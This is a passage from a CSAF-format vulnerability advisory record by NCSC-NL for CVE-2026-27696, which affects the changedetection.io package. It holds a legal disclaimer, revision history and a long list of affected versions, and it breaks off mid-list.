{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-27696",
        "tracking": {
            "current_release_date": "2026-03-23T03:40:14.641237Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-27696",
            "initial_release_date": "2026-02-25T05:24:51.643926Z",
            "revision_history": [
                {
                    "date": "2026-02-25T05:24:51.643926Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-02-25T05:24:55.667341Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-02-25T05:39:04.345893Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-02-25T05:39:07.285409Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-25T07:35:03.797587Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-25T15:13:42.492785Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-02-25T15:13:44.987828Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-25T15:50:50.456944Z",
                    "number": "8",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-02-25T19:39:51.193122Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-02-25T19:39:52.934582Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-26T00:12:51.968237Z",
                    "number": "11",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (178).| Products created (29).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-02-26T00:38:56.568864Z",
                    "number": "12",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (185).| Product Identifiers created (186).| Products created (2).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-02-26T16:26:26.902837Z",
                    "number": "13",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-02-26T16:26:30.287522Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-02T15:50:38.549537Z",
                    "number": "15",
                    "summary": "Source connected.| CVE status created. (valid)| Description created for source.| Products created (1)."
                },
                {
                    "date": "2026-03-02T15:50:42.901069Z",
                    "number": "16",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:40:09.225799Z",
                    "number": "17",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:40:12.583595Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "18"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.54.1",
                                "product": {
                                    "name": "vers:unknown/<0.54.1",
                                    "product_id": "CSAFPID-5706526",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:webtechnologies:changedetection:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "changedetection"
                    }
                ],
                "category": "vendor",
                "name": "webtechnologies"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.38.2",
                                "product": {
                                    "name": "vers:unknown/0.38.2",
                                    "product_id": "CSAFPID-5723136",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.38.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39",
                                "product": {
                                    "name": "vers:unknown/0.39",
                                    "product_id": "CSAFPID-5723137",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.1",
                                "product": {
                                    "name": "vers:unknown/0.39.1",
                                    "product_id": "CSAFPID-5723138",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.10",
                                "product": {
                                    "name": "vers:unknown/0.39.10",
                                    "product_id": "CSAFPID-5723139",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.10"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.10.post1",
                                "product": {
                                    "name": "vers:unknown/0.39.10.post1",
                                    "product_id": "CSAFPID-5723140",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.10.post1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.10.post2",
                                "product": {
                                    "name": "vers:unknown/0.39.10.post2",
                                    "product_id": "CSAFPID-5723141",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.10.post2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.11",
                                "product": {
                                    "name": "vers:unknown/0.39.11",
                                    "product_id": "CSAFPID-5723142",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.12",
                                "product": {
                                    "name": "vers:unknown/0.39.12",
                                    "product_id": "CSAFPID-5723143",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.13",
                                "product": {
                                    "name": "vers:unknown/0.39.13",
                                    "product_id": "CSAFPID-5723144",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.13.1",
                                "product": {
                                    "name": "vers:unknown/0.39.13.1",
                                    "product_id": "CSAFPID-5723145",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.13.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.14",
                                "product": {
                                    "name": "vers:unknown/0.39.14",
                                    "product_id": "CSAFPID-5723146",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.14.1",
                                "product": {
                                    "name": "vers:unknown/0.39.14.1",
                                    "product_id": "CSAFPID-5723147",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.14.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.15",
                                "product": {
                                    "name": "vers:unknown/0.39.15",
                                    "product_id": "CSAFPID-5723148",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.16",
                                "product": {
                                    "name": "vers:unknown/0.39.16",
                                    "product_id": "CSAFPID-5723149",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.17",
                                "product": {
                                    "name": "vers:unknown/0.39.17",
                                    "product_id": "CSAFPID-5723150",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.17.1",
                                "product": {
                                    "name": "vers:unknown/0.39.17.1",
                                    "product_id": "CSAFPID-5723151",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.17.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.17.2",
                                "product": {
                                    "name": "vers:unknown/0.39.17.2",
                                    "product_id": "CSAFPID-5723152",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.17.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.18",
                                "product": {
                                    "name": "vers:unknown/0.39.18",
                                    "product_id": "CSAFPID-5723153",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.19",
                                "product": {
                                    "name": "vers:unknown/0.39.19",
                                    "product_id": "CSAFPID-5723154",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.19"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.19.1",
                                "product": {
                                    "name": "vers:unknown/0.39.19.1",
                                    "product_id": "CSAFPID-5723155",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.19.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.2",
                                "product": {
                                    "name": "vers:unknown/0.39.2",
                                    "product_id": "CSAFPID-5723156",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20",
                                "product": {
                                    "name": "vers:unknown/0.39.20",
                                    "product_id": "CSAFPID-5723157",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.1",
                                "product": {
                                    "name": "vers:unknown/0.39.20.1",
                                    "product_id": "CSAFPID-5723158",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.2",
                                "product": {
                                    "name": "vers:unknown/0.39.20.2",
                                    "product_id": "CSAFPID-5723159",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.3",
                                "product": {
                                    "name": "vers:unknown/0.39.20.3",
                                    "product_id": "CSAFPID-5723160",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.4",
                                "product": {
                                    "name": "vers:unknown/0.39.20.4",
                                    "product_id": "CSAFPID-5723161",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.21",
                                "product": {
                                    "name": "vers:unknown/0.39.21",
                                    "product_id": "CSAFPID-5723162",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.21"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.21.1",
                                "product": {
                                    "name": "vers:unknown/0.39.21.1",
                                    "product_id": "CSAFPID-5723163",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.21.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.22",
                                "product": {
                                    "name": "vers:unknown/0.39.22",
                                    "product_id": "CSAFPID-5723164",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.22"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.22.1",
                                "product": {
                                    "name": "vers:unknown/0.39.22.1",
                                    "product_id": "CSAFPID-5723165",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.22.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.3",
                                "product": {
                                    "name": "vers:unknown/0.39.3",
                                    "product_id": "CSAFPID-5723166",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.4",
                                "product": {
                                    "name": "vers:unknown/0.39.4",
                                    "product_id": "CSAFPID-5723167",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.5",
                                "product": {
                                    "name": "vers:unknown/0.39.5",
                                    "product_id": "CSAFPID-5723168",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.6",
                                "product": {
                                    "name": "vers:unknown/0.39.6",
                                    "product_id": "CSAFPID-5723169",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.7",
                                "product": {
                                    "name": "vers:unknown/0.39.7",
                                    "product_id": "CSAFPID-5723170",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.8",
                                "product": {
                                    "name": "vers:unknown/0.39.8",
                                    "product_id": "CSAFPID-5723171",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.9",
                                "product": {
                                    "name": "vers:unknown/0.39.9",
                                    "product_id": "CSAFPID-5723172",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0",
                                "product": {
                                    "name": "vers:unknown/0.40.0",
                                    "product_id": "CSAFPID-5723173",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.1",
                                "product": {
                                    "name": "vers:unknown/0.40.0.1",
                                    "product_id": "CSAFPID-5723174",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.2",
                                "product": {
                                    "name": "vers:unknown/0.40.0.2",
                                    "product_id": "CSAFPID-5723175",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.3",
                                "product": {
                                    "name": "vers:unknown/0.40.0.3",
                                    "product_id": "CSAFPID-5723176",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.4",
                                "product": {
                                    "name": "vers:unknown/0.40.0.4",
                                    "product_id": "CSAFPID-5723177",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.1.0",
                                "product": {
                                    "name": "vers:unknown/0.40.1.0",
                                    "product_id": "CSAFPID-5723178",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.1.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.1.1",
                                "product": {
                                    "name": "vers:unknown/0.40.1.1",
                                    "product_id": "CSAFPID-5723179",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.1.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.2",
                                "product": {
                                    "name": "vers:unknown/0.40.2",
                                    "product_id": "CSAFPID-5723180",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.3",
                                "product": {
                                    "name": "vers:unknown/0.40.3",
                                    "product_id": "CSAFPID-5723181",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.41",
                                "product": {
                                    "name": "vers:unknown/0.41",
                                    "product_id": "CSAFPID-5723182",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.41"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.41.1",
                                "product": {
                                    "name": "vers:unknown/0.41.1",
                                    "product_id": "CSAFPID-5723183",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.41.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42",
                                "product": {
                                    "name": "vers:unknown/0.42",
                                    "product_id": "CSAFPID-5723184",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42.1",
                                "product": {
                                    "name": "vers:unknown/0.42.1",
                                    "product_id": "CSAFPID-5723185",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42.2",
                                "product": {
                                    "name": "vers:unknown/0.42.2",
                                    "product_id": "CSAFPID-5723186",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42.3",
                                "product": {
                                    "name": "vers:unknown/0.42.3",
                                    "product_id": "CSAFPID-5723187",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.43.1",
                                "product": {
                                    "name": "vers:unknown/0.43.1",
                                    "product_id": "CSAFPID-5723188",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.43.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.43.2",
                                "product": {
                                    "name": "vers:unknown/0.43.2",
                                    "product_id": "CSAFPID-5723189",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.43.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.44",
                                "product": {
                                    "name": "vers:unknown/0.44",
                                    "product_id": "CSAFPID-5723190",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.44"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.44.1",
                                "product": {
                                    "name": "vers:unknown/0.44.1",
                                    "product_id": "CSAFPID-5723191",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.44.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45",
                                "product": {
                                    "name": "vers:unknown/0.45",
                                    "product_id": "CSAFPID-5723192",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.1",
                                "product": {
                                    "name": "vers:unknown/0.45.1",
                                    "product_id": "CSAFPID-5723193",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.11",
                                "product": {
                                    "name": "vers:unknown/0.45.11",
                                    "product_id": "CSAFPID-5723194",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.12",
                                "product": {
                                    "name": "vers:unknown/0.45.12",
                                    "product_id": "CSAFPID-5723195",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.13",
                                "product": {
                                    "name": "vers:unknown/0.45.13",
                                    "product_id": "CSAFPID-5723196",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.14",
                                "product": {
                                    "name": "vers:unknown/0.45.14",
                                    "product_id": "CSAFPID-5723197",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.15",
                                "product": {
                                    "name": "vers:unknown/0.45.15",
                                    "product_id": "CSAFPID-5723198",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.16",
                                "product": {
                                    "name": "vers:unknown/0.45.16",
                                    "product_id": "CSAFPID-5723199",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.17",
                                "product": {
                                    "name": "vers:unknown/0.45.17",
                                    "product_id": "CSAFPID-5723200",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.18",
                                "product": {
                                    "name": "vers:unknown/0.45.18",
                                    "product_id": "CSAFPID-5723201",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.19",
                                "product": {
                                    "name": "vers:unknown/0.45.19",
                                    "product_id": "CSAFPID-5723202",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.19"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.2",
                                "product": {
                                    "name": "vers:unknown/0.45.2",
                                    "product_id": "CSAFPID-5723203",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.20",
                                "product": {
                                    "name": "vers:unknown/0.45.20",
                                    "product_id": "CSAFPID-5723204",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.20"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.21",
                                "product": {
                                    "name": "vers:unknown/0.45.21",
                                    "product_id": "CSAFPID-5723205",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.21"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.22",
                                "product": {
                                    "name": "vers:unknown/0.45.22",
                                    "product_id": "CSAFPID-5723206",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.22"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.23",
                                "product": {
                                    "name": "vers:unknown/0.45.23",
                                    "product_id": "CSAFPID-5723207",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.23"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.24",
                                "product": {
                                    "name": "vers:unknown/0.45.24",
                                    "product_id": "CSAFPID-5723208",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.24"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.25",
                                "product": {
                                    "name": "vers:unknown/0.45.25",
                                    "product_id": "CSAFPID-5723209",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.25"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.26",
                                "product": {
                                    "name": "vers:unknown/0.45.26",
                                    "product_id": "CSAFPID-5723210",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.26"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.3",
                                "product": {
                                    "name": "vers:unknown/0.45.3",
                                    "product_id": "CSAFPID-5723211",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.4",
                                "product": {
                                    "name": "vers:unknown/0.45.4",
                                    "product_id": "CSAFPID-5723212",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.5",
                                "product": {
                                    "name": "vers:unknown/0.45.5",
                                    "product_id": "CSAFPID-5723213",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.6",
                                "product": {
                                    "name": "vers:unknown/0.45.6",
                                    "product_id": "CSAFPID-5723214",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7",
                                "product": {
                                    "name": "vers:unknown/0.45.7",
                                    "product_id": "CSAFPID-5723215",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7.1",
                                "product": {
                                    "name": "vers:unknown/0.45.7.1",
                                    "product_id": "CSAFPID-5723216",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7.2",
                                "product": {
                                    "name": "vers:unknown/0.45.7.2",
                                    "product_id": "CSAFPID-5723217",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7.3",
                                "product": {
                                    "name": "vers:unknown/0.45.7.3",
                                    "product_id": "CSAFPID-5723218",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.8",
                                "product": {
                                    "name": "vers:unknown/0.45.8",
                                    "product_id": "CSAFPID-5723219",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.8.1",
                                "product": {
                                    "name": "vers:unknown/0.45.8.1",
                                    "product_id": "CSAFPID-5723220",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.8.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.9",
                                "product": {
                                    "name": "vers:unknown/0.45.9",
                                    "product_id": "CSAFPID-5723221",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.0",
